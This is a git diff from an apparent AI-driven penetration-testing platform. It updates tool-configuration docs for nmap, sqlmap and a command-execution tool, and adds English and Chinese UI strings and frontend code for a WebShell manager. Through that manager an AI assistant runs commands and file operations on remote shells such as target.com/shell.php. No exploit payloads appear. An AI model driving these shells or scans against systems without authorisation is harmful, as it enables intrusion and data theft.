- `action` consumed by server-side branching logic and intentionally not forwarded to the command line.
#### `additional_args`
## Parameter Description Checklist
Used to pass extra CLI options not defined in the parameter list. The value is split on spaces into multiple arguments.
When documenting a parameter, include:
**Use cases:**
- Advanced tool options.
- Options not in the schema.
- Complex argument combinations.
1. **Purpose** what the value controls.
2. **Format rules** accepted patterns (URL, CIDR, path, etc.).
3. **Example values** list several realistic samples.
4. **Notes** permissions, performance impact, or other caveats.
**Example:**
```yaml
- name: "additional_args"
type: "string"
description: "Extra CLI arguments; separate multiple options with spaces"
required: false
format: "positional"
```
Suggested style: Markdown lists, bold emphasis for key cautions, and code blocks for complex examples.
**Usage:**
- `additional_args: "--script vuln -O"``["--script", "vuln", "-O"]`
- `additional_args: "-T4 --max-retries 3"``["-T4", "--max-retries", "3"]`
### Example
**Notes:**
- Split by spaces; quoted parts are preserved.
- Ensure valid syntax to avoid command injection.
- Appended at the end of the command.
#### `scan_type` (tool-specific)
Some tools (e.g. `nmap`) support `scan_type` to override the default scan arguments.
**Example (nmap):**
```yaml
- name: "scan_type"
type: "string"
description: "Scan type options; overrides default scan arguments"
required: false
format: "positional"
```
**Usage:**
- `scan_type: "-sV -sC"` → version and script scan.
- `scan_type: "-A"` → aggressive scan.
**Notes:**
- If set, it replaces the tools default scan arguments.
- Multiple options separated by spaces.
### Parameter Description Guidelines
Parameter descriptions should include:
1. **Purpose**: What the parameter does.
2. **Format**: Expected format (e.g. URL, port range).
3. **Example values**: Concrete examples (list if several).
4. **Notes**: Permissions, performance, safety, etc.
**Style:**
- Use Markdown for readability.
- Use **bold** for important points.
- Use lists for multiple examples or options.
- Use code blocks for complex formats.
**Example:**
```yaml
description: |
Target IP address or domain. Accepts single IPs, ranges, CIDR blocks, or hostnames.
Target IP or domain. Can be a single IP, range, CIDR, or hostname.
**Example values**
**Example values:**
- Single IP: "192.168.1.1"
- Range: "192.168.1.1-100"
- CIDR: "192.168.1.0/24"
- Domain: "example.com"
**Notes**
**Notes:**
- Format must be valid.
- Required; cannot be empty.
- Validate address format before running to avoid false positives.
```
## Parameter Types
### Boolean
- `true` → adds only the flag (no value).
- `false` → suppresses the flag.
- Accepts `true`/`false`, `1`/`0`, and `"true"`/`"false"`.
### Boolean (`bool`)
- `true`: Add only the flag (e.g. `--flag`).
- `false`: Do not add the argument.
- Accepted: `true`/`false`, `1`/`0`, `"true"`/`"false"`.
**Example:**
```yaml
- name: "verbose"
type: "bool"
@@ -127,91 +174,68 @@ description: |
format: "flag"
```
### String
Most common parameter type; accepts any string value.
### String (`string`)
### Integer
Use for numeric inputs (ports, levels, limits).
General-purpose; any string value.
### Integer (`int` / `integer`)
For numbers (ports, levels, etc.).
**Example:**
```yaml
- name: "level"
type: "int"
description: "Level of detail, 1-5"
description: "Test level, 1-5"
required: false
default: 3
flag: "--level"
format: "combined" # --level=3
```
### Array
Automatically converted to a comma-separated string.
### Array (`array`)
Converted to a comma-separated string.
**Example:**
```yaml
- name: "ports"
type: "array"
description: "List of ports to scan"
item_type: "number"
description: "Port list"
required: false
# Input: [80, 443, 8080]
# Output: "80,443,8080"
```
## Special Parameters
## Examples
### `additional_args`
See existing configs under `tools/`:
```yaml
- name: "additional_args"
type: "string"
description: "Extra CLI arguments; separate multiple options with spaces"
required: false
format: "positional"
```
- `nmap.yaml`: Network scanner (`scan_type` and `additional_args`).
- `sqlmap.yaml`: SQL injection (`additional_args`).
- `nikto.yaml`: Web server scanner.
- `dirb.yaml`: Directory scanner.
- `exec.yaml`: System command execution.
Examples:
- `additional_args: "--script vuln -O"``["--script", "vuln", "-O"]`
- `additional_args: "-T4 --max-retries 3"``["-T4", "--max-retries", "3"]`
Notes:
- Quoted strings are preserved.
- Validate user input to avoid command injection.
- Appended at the end of the final command.
### `scan_type`
```yaml
- name: "scan_type"
type: "string"
description: "Overrides default scan switches"
required: false
format: "positional"
```
Examples:
- `scan_type: "-sV -sC"`
- `scan_type: "-A"`
Notes:
- Replaces default entries in the tools `args` list.
- Separate multiple flags with spaces.
## Complete Example (`nmap`)
### Full Example: nmap
```yaml
name: "nmap"
command: "nmap"
args: ["-sT", "-sV", "-sC"]
args: ["-sT", "-sV", "-sC"] # default scan type
enabled: true
short_description: "Network scanner for discovering hosts, open ports, and services"
description: |
Network mapping and port scanning utility.
Network mapping and port scanning for hosts, services, and open ports.
**Highlights**
**Capabilities:**
- Host discovery
- Port scanning
- Service identification
- OS fingerprinting
- Service/version detection
- OS detection
- NSE-based vulnerability checks
parameters:
@@ -224,62 +248,80 @@ parameters:
- name: "ports"
type: "string"
description: "Port range, e.g., 1-1000"
description: "Port range, e.g. 1-1000"
required: false
flag: "-p"
format: "flag"
- name: "scan_type"
type: "string"
description: "Override scan switches, e.g., '-sV -sC'"
description: "Scan type options, e.g. '-sV -sC'"
required: false
format: "positional"
- name: "additional_args"
type: "string"
description: "Extra nmap arguments, e.g., '--script vuln -O'"
description: "Extra nmap arguments, e.g. '--script vuln -O'"
required: false
format: "positional"
```
## Adding a New Tool
1. Create a YAML file in `tools/` (e.g., `tools/mytool.yaml`).
2. Fill out the top-level fields and parameter list.
3. Provide defaults and rich descriptions wherever possible.
4. Run `go run cmd/test-config/main.go` to validate the configuration.
5. Restart the service (or trigger a reload) so the UI and MCP registry pick up the change.
### Template
Create a new YAML file under `tools/`, e.g. `my_tool.yaml`:
```yaml
name: "tool_name"
command: "command"
name: "my_tool"
command: "my-command"
args: ["--default-arg"] # optional fixed args
enabled: true
short_description: "One-line summary"
# Short description (recommended) for tool list, fewer tokens
short_description: "One-line summary of what the tool does"
# Full description for docs and AI
description: |
Detailed description with Markdown formatting.
Full description; multi-line and Markdown supported.
**Capabilities:**
- Feature 1
- Feature 2
**Usage:**
- Scenario 1
- Scenario 2
**Notes:**
- Caveats
- Permissions
- Performance
parameters:
- name: "target"
type: "string"
description: "Explain the expected value, format, examples, and caveats"
description: |
Target parameter description.
**Example values:**
- "value1"
- "value2"
**Notes:**
- Format and limits
required: true
position: 0
format: "positional"
- name: "option"
type: "string"
description: "Optional flag parameter"
description: "Option parameter"
required: false
flag: "--option"
format: "flag"
- name: "verbose"
type: "bool"
description: "Enable verbose mode"
description: "Verbose mode"
required: false
default: false
flag: "-v"
@@ -287,33 +329,170 @@ parameters:
- name: "additional_args"
type: "string"
description: "Extra CLI options separated by spaces"
description: "Extra arguments; separate with spaces"
required: false
format: "positional"
```
## Validation & Troubleshooting
Restart the service to load the new tool.
- ✅ Verify required fields: `name`, `command`, `enabled`, `description`.
- ✅ Ensure parameter definitions use supported types and formats.
- ✅ Watch server logs for warnings when a tool fails to load.
- ✅ Use `go run cmd/test-config/main.go` to inspect parsed tool metadata.
### Best Practices
## Best Practices
1. **Parameter design**
- Define common parameters explicitly so the AI can use them.
- Use `additional_args` for advanced cases.
- Provide clear descriptions and examples.
1. **Parameter design** expose common flags individually; leverage `additional_args` for advanced scenarios.
2. **Documentation** combine `short_description` with thorough `description` to balance brevity and clarity.
3. **Defaults** provide sensible `default` values, especially for frequently used options.
4. **Validation prompts** describe expected formats and highlight constraints to help the AI and users avoid mistakes.
5. **Safety** warn about privileged commands, destructive actions, or high-impact scans.
2. **Descriptions**
- Use `short_description` to reduce tokens.
- Keep `description` detailed for AI and docs.
- Use Markdown for readability.
3. **Defaults**
- Set sensible defaults for common parameters.
- Booleans often default to `false`.
- Numbers according to tool behavior.
4. **Validation**
- Document format and constraints.
- Give several example values.
- Mention limits and caveats.
5. **Safety**
- Add warnings for dangerous or privileged actions.
- Document permission requirements.
- Remind users to use only in authorized environments.
6. **Execution duration and timeout**
- If a tool often runs very long (e.g. still “running” after 1030 minutes), treat it as abnormal and:
- Set **config.yaml**`agent.tool_timeout_minutes` (default 10) so long runs are stopped and resources freed.
- Increase it (e.g. 20, 30) only when longer runs are needed; avoid `0` (no limit).
- Use “Stop task” on the task monitor to cancel the whole run.
- Prefer tools that support cancellation or an internal timeout so they align with the global timeout.
## Disabling a Tool
Set `enabled: false` or remove/rename the YAML file. Disabled tools disappear from the UI and MCP inventory.
Set `enabled: false` in the tools config, or remove/rename the file. Disabled tools are not listed and cannot be called by the AI.
## Tool Configuration Validation
On load, the system checks:
- ✅ Required fields: `name`, `command`, `enabled`.
- ✅ Parameter structure and types.
Invalid configs produce startup warnings but do not prevent the server from starting. Invalid tools are skipped; others still load.
## FAQ
### Q: How do I pass multiple parameter values?
A: Array parameters are turned into comma-separated strings. For multiple separate arguments, use `additional_args`.
### Q: How do I override a tools default arguments?
A: Some tools (e.g. `nmap`) support a `scan_type` parameter. Otherwise use `additional_args`.
### Q: A tool has been “running” for over 30 minutes. What should I do?
A: That usually means its stuck. You can:
1. Set `agent.tool_timeout_minutes` in **config.yaml** (default 10) so single tool runs are stopped after that many minutes.
2. Use “Stop task” on the task monitor to stop the run immediately.
3. If the tool legitimately needs more time, increase `tool_timeout_minutes` (avoid setting it to 0).
### Q: What if tool execution fails?
A: Check:
1. The tool is installed and on PATH.
2. The tool config is correct.
3. Parameter formats match what the tool expects.
4. Server logs for the exact error.
### Q: How can I test a tool configuration?
A: Use the config test utility:
```bash
go run cmd/test-config/main.go
```
### Q: How is parameter order controlled?
A: Use the `position` field for positional arguments. **Position 0** (e.g. gobusters `dir` subcommand) is placed right after the command, before any flag arguments, so CLIs that expect “subcommand + options” work. Other flags are added in the order they appear in `parameters`, then position 1, 2, …; `additional_args` is appended last.
## Tool Configuration Templates
### Basic template
```yaml
name: "tool_name"
command: "command"
enabled: true
short_description: "Short description (2050 chars)"
description: |
Full description: what it does, when to use it, and caveats.
parameters:
- name: "target"
type: "string"
description: "Target parameter"
required: true
position: 0
format: "positional"
- name: "additional_args"
type: "string"
description: "Extra CLI arguments"
required: false
format: "positional"
```
### Template with flag parameters
```yaml
name: "tool_name"
command: "command"
enabled: true
short_description: "Short description"
description: |
Full description.
parameters:
- name: "target"
type: "string"
description: "Target"
required: true
flag: "-t"
format: "flag"
- name: "option"
type: "bool"
description: "Option"
required: false
default: false
flag: "--option"
format: "flag"
- name: "level"
type: "int"
description: "Level"
required: false
default: 3
flag: "--level"
format: "combined"
- name: "additional_args"
type: "string"
description: "Extra arguments"
required: false
format: "positional"
```
## Related Documents
- Main project README: `../README.md`
- Tool list samples: `tools/*.yaml`
- API overview: see the main README
- Main project README: see `README.md` in the project root.
- Tool list: all YAML configs under `tools/`.
- API: see the main README for API details.
+1
View File
@@ -143,6 +143,7 @@ parameters:
format: "positional"
- name: "payloads"
type: "array"
item_type: "string"
description: "载荷列表(数组格式),如 [\"test1\", \"test2\", \"test3\"]"
required: true
position: 4
+1 -1
View File
@@ -5,7 +5,7 @@ args: ["-sT", "-sV", "-sC"]
enabled: true
short_description: "网络扫描:端口/服务/脚本;可选时序、自定义 NSE、OS 检测(需 root"
description: |
网络映射与端口扫描,合并了原「nmap」与「nmap-advanced」的能力
网络映射与端口扫描。
**默认行为(只传 target/ports 即可):**
- `-sT` TCP 连接扫描(无需 root
+1035 -2
View File
File diff suppressed because it is too large Load Diff
+73 -1
View File
@@ -24,6 +24,7 @@
"header": {
"title": "CyberStrikeAI",
"apiDocs": "API Docs",
"github": "GitHub",
"logout": "Sign out",
"language": "Interface language",
"backToDashboard": "Back to dashboard",
@@ -44,6 +45,7 @@
"infoCollect": "Recon",
"tasks": "Tasks",
"vulnerabilities": "Vulnerabilities",
"webshell": "WebShell Management",
"mcp": "MCP",
"mcpMonitor": "MCP Monitor",
"mcpManagement": "MCP Management",
@@ -170,7 +172,9 @@
"lastIterSummary": "Last iteration: generating summary and next steps...",
"summaryDone": "Summary complete",
"generatingFinalReply": "Generating final reply...",
"maxIterSummary": "Max iterations reached, generating summary..."
"maxIterSummary": "Max iterations reached, generating summary...",
"analyzingRequestShort": "Analyzing your request...",
"analyzingRequestPlanning": "Analyzing your request and planning test strategy..."
},
"timeline": {
"params": "Parameters:",
@@ -326,6 +330,74 @@
"loadFailed": "Failed to load vulnerabilities",
"deleteConfirm": "Delete this vulnerability?"
},
"webshell": {
"title": "WebShell Management",
"addConnection": "Add connection",
"connections": "Connections",
"noConnections": "No connections. Click \"Add connection\" to add one.",
"selectOrAdd": "Select a connection from the list or add a new WebShell connection.",
"url": "Shell URL",
"urlPlaceholder": "http(s)://target.com/shell.php",
"password": "Password / Key",
"passwordPlaceholder": "e.g. IceSword/AntSword connection password",
"method": "Request method",
"methodPost": "POST",
"methodGet": "GET",
"type": "Shell type",
"typePhp": "PHP",
"typeAsp": "ASP",
"typeAspx": "ASPX",
"typeJsp": "JSP",
"typeCustom": "Custom",
"cmdParam": "Command parameter name",
"cmdParamPlaceholder": "Leave empty for cmd; e.g. xxx for xxx=command",
"remark": "Remark",
"remarkPlaceholder": "Friendly name for this connection",
"deleteConfirm": "Delete this connection?",
"editConnection": "Edit",
"editConnectionTitle": "Edit connection",
"tabTerminal": "Virtual terminal",
"tabFileManager": "File manager",
"tabAiAssistant": "AI Assistant",
"aiSystemReadyMessage": "System is ready. Please enter your test requirements, and the system will automatically perform the corresponding security tests.",
"aiNewConversation": "New conversation",
"aiPreviousConversation": "Previous conversation",
"aiDeleteConversation": "Delete conversation",
"aiDeleteConversationConfirm": "Delete this conversation?",
"aiPlaceholder": "e.g. List files in the current directory",
"aiSend": "Send",
"quickCommands": "Quick commands",
"downloadFile": "Download",
"terminalWelcome": "WebShell virtual terminal — type a command and press Enter (Ctrl+L clear)",
"filePath": "Current path",
"listDir": "List directory",
"readFile": "Read",
"editFile": "Edit",
"deleteFile": "Delete",
"saveFile": "Save",
"cancelEdit": "Cancel",
"parentDir": "Parent directory",
"execError": "Execution failed",
"testConnectivity": "Test connectivity",
"testSuccess": "Connection OK, shell is reachable",
"testFailed": "Connectivity test failed",
"testNoExpectedOutput": "Shell responded but expected output was not found. Check password and command parameter name.",
"clearScreen": "Clear",
"running": "Running…",
"waitFinish": "Please wait for the current command to finish",
"newDir": "New directory",
"rename": "Rename",
"upload": "Upload",
"newFile": "New file",
"filterPlaceholder": "Filter by name",
"batchDelete": "Batch delete",
"batchDownload": "Batch download",
"refresh": "Refresh",
"selectAll": "Select all",
"searchPlaceholder": "Search connections...",
"noMatchConnections": "No matching connections",
"breadcrumbHome": "Root"
},
"mcp": {
"monitorTitle": "MCP Status Monitor",
"execStats": "Execution stats",
+73 -1
View File
@@ -24,6 +24,7 @@
"header": {
"title": "CyberStrikeAI",
"apiDocs": "API 文档",
"github": "GitHub",
"logout": "退出登录",
"language": "界面语言",
"backToDashboard": "返回仪表盘",
@@ -44,6 +45,7 @@
"infoCollect": "信息收集",
"tasks": "任务管理",
"vulnerabilities": "漏洞管理",
"webshell": "WebShell管理",
"mcp": "MCP",
"mcpMonitor": "MCP状态监控",
"mcpManagement": "MCP管理",
@@ -170,7 +172,9 @@
"lastIterSummary": "最后一次迭代:正在生成总结和下一步计划...",
"summaryDone": "总结生成完成",
"generatingFinalReply": "正在生成最终回复...",
"maxIterSummary": "达到最大迭代次数,正在生成总结..."
"maxIterSummary": "达到最大迭代次数,正在生成总结...",
"analyzingRequestShort": "正在分析您的请求...",
"analyzingRequestPlanning": "开始分析请求并制定测试策略"
},
"timeline": {
"params": "参数:",
@@ -326,6 +330,74 @@
"loadFailed": "加载漏洞失败",
"deleteConfirm": "确定要删除此漏洞吗?"
},
"webshell": {
"title": "WebShell 管理",
"addConnection": "添加连接",
"connections": "连接列表",
"noConnections": "暂无连接,请点击「添加连接」",
"selectOrAdd": "请从左侧选择连接,或添加新的 WebShell 连接",
"url": "Shell 地址",
"urlPlaceholder": "http(s)://target.com/shell.php",
"password": "连接密码/密钥",
"passwordPlaceholder": "如冰蝎/蚁剑的连接密码",
"method": "请求方式",
"methodPost": "POST",
"methodGet": "GET",
"type": "Shell 类型",
"typePhp": "PHP",
"typeAsp": "ASP",
"typeAspx": "ASPX",
"typeJsp": "JSP",
"typeCustom": "自定义",
"cmdParam": "命令参数名",
"cmdParamPlaceholder": "不填默认为 cmd,如填 xxx 则请求为 xxx=命令",
"remark": "备注",
"remarkPlaceholder": "便于识别的备注名",
"deleteConfirm": "确定要删除该连接吗?",
"editConnection": "编辑",
"editConnectionTitle": "编辑连接",
"tabTerminal": "虚拟终端",
"tabFileManager": "文件管理",
"tabAiAssistant": "AI 助手",
"aiSystemReadyMessage": "系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。",
"aiNewConversation": "新对话",
"aiPreviousConversation": "之前的对话",
"aiDeleteConversation": "删除对话",
"aiDeleteConversationConfirm": "确定删除当前对话记录?",
"aiPlaceholder": "例如:列出当前目录下的文件",
"aiSend": "发送",
"quickCommands": "快捷命令",
"downloadFile": "下载",
"terminalWelcome": "WebShell 虚拟终端 — 输入命令后按回车执行(Ctrl+L 清屏)",
"filePath": "当前路径",
"listDir": "列出目录",
"readFile": "读取",
"editFile": "编辑",
"deleteFile": "删除",
"saveFile": "保存",
"cancelEdit": "取消",
"parentDir": "上级目录",
"execError": "执行失败",
"testConnectivity": "测试连通性",
"testSuccess": "连通性正常,Shell 可访问",
"testFailed": "连通性测试失败",
"testNoExpectedOutput": "Shell 返回了响应但未得到预期输出,请检查连接密码与命令参数名",
"clearScreen": "清屏",
"running": "执行中…",
"waitFinish": "请等待当前命令执行完成",
"newDir": "新建目录",
"rename": "重命名",
"upload": "上传",
"newFile": "新建文件",
"filterPlaceholder": "过滤文件名",
"batchDelete": "批量删除",
"batchDownload": "批量下载",
"refresh": "刷新",
"selectAll": "全选",
"searchPlaceholder": "搜索连接...",
"noMatchConnections": "暂无匹配连接",
"breadcrumbHome": "根"
},
"mcp": {
"monitorTitle": "MCP 状态监控",
"execStats": "执行统计",
+96 -6
View File
@@ -1244,6 +1244,9 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
const msgTimeOpts = { hour: '2-digit', minute: '2-digit' };
if (msgTimeLocale === 'zh-CN') msgTimeOpts.hour12 = false;
timeDiv.textContent = messageTime.toLocaleTimeString(msgTimeLocale, msgTimeOpts);
try {
timeDiv.dataset.messageTime = messageTime.toISOString();
} catch (e) { /* ignore */ }
contentWrapper.appendChild(timeDiv);
// 如果有MCP执行ID或进度ID,添加查看详情区域(统一使用"渗透测试详情"样式)
@@ -1594,10 +1597,19 @@ async function showMCPDetail(executionId) {
const normalizedStatus = (exec.status || 'unknown').toLowerCase();
statusEl.textContent = getStatusText(exec.status);
statusEl.className = `status-chip status-${normalizedStatus}`;
try {
statusEl.dataset.detailStatus = (exec.status || '') + '';
} catch (e) { /* ignore */ }
const detailTimeLocale = (typeof window.__locale === 'string' && window.__locale.startsWith('zh')) ? 'zh-CN' : 'en-US';
document.getElementById('detail-time').textContent = exec.startTime
? new Date(exec.startTime).toLocaleString(detailTimeLocale)
: '—';
const detailTimeEl = document.getElementById('detail-time');
if (detailTimeEl) {
detailTimeEl.textContent = exec.startTime
? new Date(exec.startTime).toLocaleString(detailTimeLocale)
: '—';
try {
detailTimeEl.dataset.detailTimeIso = exec.startTime ? new Date(exec.startTime).toISOString() : '';
} catch (e) { /* ignore */ }
}
// 请求参数
const requestData = {
@@ -2231,8 +2243,16 @@ async function deleteConversation(conversationId, skipConfirm = false) {
await loadGroupConversations(currentGroupId);
}
// 刷新对话列表
loadConversations();
// 刷新对话列表(使用分组接口以与其他入口一致)
if (typeof loadConversationsWithGroups === 'function') {
loadConversationsWithGroups();
} else if (typeof loadConversations === 'function') {
loadConversations();
}
// 通知其他模块(如 WebShell AI 助手)同步删除,保持列表一致
try {
document.dispatchEvent(new CustomEvent('conversation-deleted', { detail: { conversationId } }));
} catch (e) { /* ignore */ }
} catch (error) {
console.error('删除对话失败:', error);
alert('删除对话失败: ' + error.message);
@@ -5273,9 +5293,60 @@ function closeBatchManageModal() {
allConversationsForBatch = [];
}
// 语言切换时刷新批量管理模态框标题(若当前正在显示);并刷新对话列表时间格式与系统就绪提示
// 语言切换时刷新当前聊天页内的时间与动态文案(消息时间、执行流程时间由 monitor 的 refreshProgressAndTimelineI18n 处理)
function refreshChatPanelI18n() {
const locale = (typeof window.__locale === 'string' && window.__locale.startsWith('zh')) ? 'zh-CN' : 'en-US';
const timeOpts = { hour: '2-digit', minute: '2-digit' };
if (locale === 'zh-CN') timeOpts.hour12 = false;
const t = typeof window.t === 'function' ? window.t : function (k) { return k; };
const messagesEl = document.getElementById('chat-messages');
if (messagesEl) {
messagesEl.querySelectorAll('.message-time[data-message-time]').forEach(function (el) {
try {
const d = new Date(el.dataset.messageTime);
if (!isNaN(d.getTime())) {
el.textContent = d.toLocaleTimeString(locale, timeOpts);
}
} catch (e) { /* ignore */ }
});
messagesEl.querySelectorAll('.mcp-call-label').forEach(function (el) {
el.textContent = '\uD83D\uDCCB ' + t('chat.penetrationTestDetail');
});
messagesEl.querySelectorAll('.process-detail-btn').forEach(function (btn) {
const span = btn.querySelector('span');
if (!span) return;
const assistantEl = btn.closest('.message.assistant');
const messageId = assistantEl && assistantEl.id;
const detailsId = messageId ? 'process-details-' + messageId : '';
const timeline = detailsId ? document.getElementById(detailsId) && document.getElementById(detailsId).querySelector('.progress-timeline') : null;
const expanded = timeline && timeline.classList.contains('expanded');
span.textContent = expanded ? t('tasks.collapseDetail') : t('chat.expandDetail');
});
}
const mcpModal = document.getElementById('mcp-detail-modal');
if (mcpModal && mcpModal.style.display === 'block') {
const detailTimeEl = document.getElementById('detail-time');
if (detailTimeEl && detailTimeEl.dataset.detailTimeIso) {
try {
const d = new Date(detailTimeEl.dataset.detailTimeIso);
if (!isNaN(d.getTime())) {
detailTimeEl.textContent = d.toLocaleString(locale);
}
} catch (e) { /* ignore */ }
}
const statusEl = document.getElementById('detail-status');
if (statusEl && statusEl.dataset.detailStatus !== undefined && typeof getStatusText === 'function') {
statusEl.textContent = getStatusText(statusEl.dataset.detailStatus);
}
}
}
// 语言切换时刷新批量管理模态框标题(若当前正在显示);并刷新对话列表时间格式与系统就绪提示;刷新当前页消息时间与动态文案
document.addEventListener('languagechange', function () {
refreshSystemReadyMessageBubbles();
refreshChatPanelI18n();
const modal = document.getElementById('batch-manage-modal');
if (modal && modal.style.display === 'flex') {
updateBatchManageTitle(allConversationsForBatch.length);
@@ -6221,4 +6292,23 @@ document.addEventListener('DOMContentLoaded', async () => {
}
}
});
// 任意入口删除对话后同步:若删除的是当前对话则清空主区,并刷新侧边栏列表(如从 WebShell AI 助手删除)
document.addEventListener('conversation-deleted', (e) => {
const id = e.detail && e.detail.conversationId;
if (!id) return;
if (id === currentConversationId) {
currentConversationId = null;
const messagesDiv = document.getElementById('chat-messages');
if (messagesDiv) messagesDiv.innerHTML = '';
const readyMsg = typeof window.t === 'function' ? window.t('chat.systemReadyMessage') : '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
addMessage('assistant', readyMsg, null, null, null, { systemReadyMessage: true });
addAttackChainButton(null);
}
if (typeof loadConversationsWithGroups === 'function') {
loadConversationsWithGroups();
} else if (typeof loadConversations === 'function') {
loadConversations();
}
});
});
+364 -34
View File
@@ -36,12 +36,16 @@ function translateProgressMessage(message) {
'总结生成完成': 'progress.summaryDone',
'正在生成最终回复...': 'progress.generatingFinalReply',
'达到最大迭代次数,正在生成总结...': 'progress.maxIterSummary',
'正在分析您的请求...': 'progress.analyzingRequestShort',
'开始分析请求并制定测试策略': 'progress.analyzingRequestPlanning',
// 英文(与 en-US.json 一致,避免后端/缓存已是英文时无法随语言切换)
'Calling AI model...': 'progress.callingAI',
'Last iteration: generating summary and next steps...': 'progress.lastIterSummary',
'Summary complete': 'progress.summaryDone',
'Generating final reply...': 'progress.generatingFinalReply',
'Max iterations reached, generating summary...': 'progress.maxIterSummary'
'Max iterations reached, generating summary...': 'progress.maxIterSummary',
'Analyzing your request...': 'progress.analyzingRequestShort',
'Analyzing your request and planning test strategy...': 'progress.analyzingRequestPlanning'
};
if (map[trim]) return window.t(map[trim]);
const callingToolPrefixCn = '正在调用工具: ';
@@ -63,6 +67,75 @@ if (typeof window !== 'undefined') {
// 存储工具调用ID到DOM元素的映射,用于更新执行状态
const toolCallStatusMap = new Map();
// 模型流式输出缓存:progressId -> { assistantId, buffer }
const responseStreamStateByProgressId = new Map();
// AI 思考流式输出:progressId -> Map(streamId -> { itemId, buffer })
const thinkingStreamStateByProgressId = new Map();
// 工具输出流式增量:progressId::toolCallId -> { itemId, buffer }
const toolResultStreamStateByKey = new Map();
function toolResultStreamKey(progressId, toolCallId) {
return String(progressId) + '::' + String(toolCallId);
}
// markdown 渲染(用于最终合并渲染;流式增量阶段用纯转义避免部分语法不稳定)
const assistantMarkdownSanitizeConfig = {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
ALLOW_DATA_ATTR: false,
};
function escapeHtmlLocal(text) {
if (!text) return '';
const div = document.createElement('div');
div.textContent = String(text);
return div.innerHTML;
}
function formatAssistantMarkdownContent(text) {
const raw = text == null ? '' : String(text);
if (typeof marked !== 'undefined') {
try {
marked.setOptions({ breaks: true, gfm: true });
const parsed = marked.parse(raw);
if (typeof DOMPurify !== 'undefined') {
return DOMPurify.sanitize(parsed, assistantMarkdownSanitizeConfig);
}
return parsed;
} catch (e) {
return escapeHtmlLocal(raw).replace(/\n/g, '<br>');
}
}
return escapeHtmlLocal(raw).replace(/\n/g, '<br>');
}
function updateAssistantBubbleContent(assistantMessageId, content, renderMarkdown) {
const assistantElement = document.getElementById(assistantMessageId);
if (!assistantElement) return;
const bubble = assistantElement.querySelector('.message-bubble');
if (!bubble) return;
// 保留复制按钮:addMessage 会把按钮 append 在 message-bubble 里
const copyBtn = bubble.querySelector('.message-copy-btn');
if (copyBtn) copyBtn.remove();
const newContent = content == null ? '' : String(content);
const html = renderMarkdown
? formatAssistantMarkdownContent(newContent)
: escapeHtmlLocal(newContent).replace(/\n/g, '<br>');
bubble.innerHTML = html;
// 更新原始内容(给复制功能用)
assistantElement.dataset.originalContent = newContent;
if (typeof wrapTablesInBubble === 'function') {
wrapTablesInBubble(bubble);
}
if (copyBtn) bubble.appendChild(copyBtn);
}
const conversationExecutionTracker = {
activeConversations: new Set(),
update(tasks = []) {
@@ -539,7 +612,77 @@ function handleStreamEvent(event, progressElement, progressId,
});
break;
case 'thinking_stream_start': {
const d = event.data || {};
const streamId = d.streamId || null;
if (!streamId) break;
let state = thinkingStreamStateByProgressId.get(progressId);
if (!state) {
state = new Map();
thinkingStreamStateByProgressId.set(progressId, state);
}
// 若已存在,重置 buffer
const title = '🤔 ' + (typeof window.t === 'function' ? window.t('chat.aiThinking') : 'AI思考');
const itemId = addTimelineItem(timeline, 'thinking', {
title: title,
message: ' ',
data: d
});
state.set(streamId, { itemId, buffer: '' });
break;
}
case 'thinking_stream_delta': {
const d = event.data || {};
const streamId = d.streamId || null;
if (!streamId) break;
const state = thinkingStreamStateByProgressId.get(progressId);
if (!state || !state.has(streamId)) break;
const s = state.get(streamId);
const delta = event.message || '';
s.buffer += delta;
const item = document.getElementById(s.itemId);
if (item) {
const contentEl = item.querySelector('.timeline-item-content');
if (contentEl) {
if (typeof formatMarkdown === 'function') {
contentEl.innerHTML = formatMarkdown(s.buffer);
} else {
contentEl.textContent = s.buffer;
}
}
}
break;
}
case 'thinking':
// 如果本 thinking 是由 thinking_stream_* 聚合出来的(带 streamId),避免重复创建 timeline item
if (event.data && event.data.streamId) {
const streamId = event.data.streamId;
const state = thinkingStreamStateByProgressId.get(progressId);
if (state && state.has(streamId)) {
const s = state.get(streamId);
s.buffer = event.message || '';
const item = document.getElementById(s.itemId);
if (item) {
const contentEl = item.querySelector('.timeline-item-content');
if (contentEl) {
// contentEl.innerHTML 用于兼容 Markdown 展示
if (typeof formatMarkdown === 'function') {
contentEl.innerHTML = formatMarkdown(s.buffer);
} else {
contentEl.textContent = s.buffer;
}
}
}
break;
}
}
addTimelineItem(timeline, 'thinking', {
title: '🤔 ' + (typeof window.t === 'function' ? window.t('chat.aiThinking') : 'AI思考'),
message: event.message,
@@ -580,6 +723,55 @@ function handleStreamEvent(event, progressElement, progressId,
updateToolCallStatus(toolCallId, 'running');
}
break;
case 'tool_result_delta': {
const deltaInfo = event.data || {};
const toolCallId = deltaInfo.toolCallId || null;
if (!toolCallId) break;
const key = toolResultStreamKey(progressId, toolCallId);
let state = toolResultStreamStateByKey.get(key);
const toolNameDelta = deltaInfo.toolName || (typeof window.t === 'function' ? window.t('chat.unknownTool') : '未知工具');
const deltaText = event.message || '';
if (!deltaText) break;
if (!state) {
// 首次增量:创建一个 tool_result 占位条目,后续不断更新 pre 内容
const runningLabel = typeof window.t === 'function' ? window.t('timeline.running') : '执行中...';
const title = '⏳ ' + (typeof window.t === 'function'
? window.t('timeline.running')
: runningLabel) + ' ' + (typeof window.t === 'function' ? window.t('chat.callTool', { name: escapeHtmlLocal(toolNameDelta), index: deltaInfo.index || 0, total: deltaInfo.total || 0 }) : toolNameDelta);
const itemId = addTimelineItem(timeline, 'tool_result', {
title: title,
message: '',
data: {
toolName: toolNameDelta,
success: true,
isError: false,
result: deltaText,
toolCallId: toolCallId,
index: deltaInfo.index,
total: deltaInfo.total,
iteration: deltaInfo.iteration
},
expanded: false
});
state = { itemId, buffer: '' };
toolResultStreamStateByKey.set(key, state);
}
state.buffer += deltaText;
const item = document.getElementById(state.itemId);
if (item) {
const pre = item.querySelector('pre.tool-result');
if (pre) {
pre.textContent = state.buffer;
}
}
break;
}
case 'tool_result':
const resultInfo = event.data || {};
@@ -588,6 +780,39 @@ function handleStreamEvent(event, progressElement, progressId,
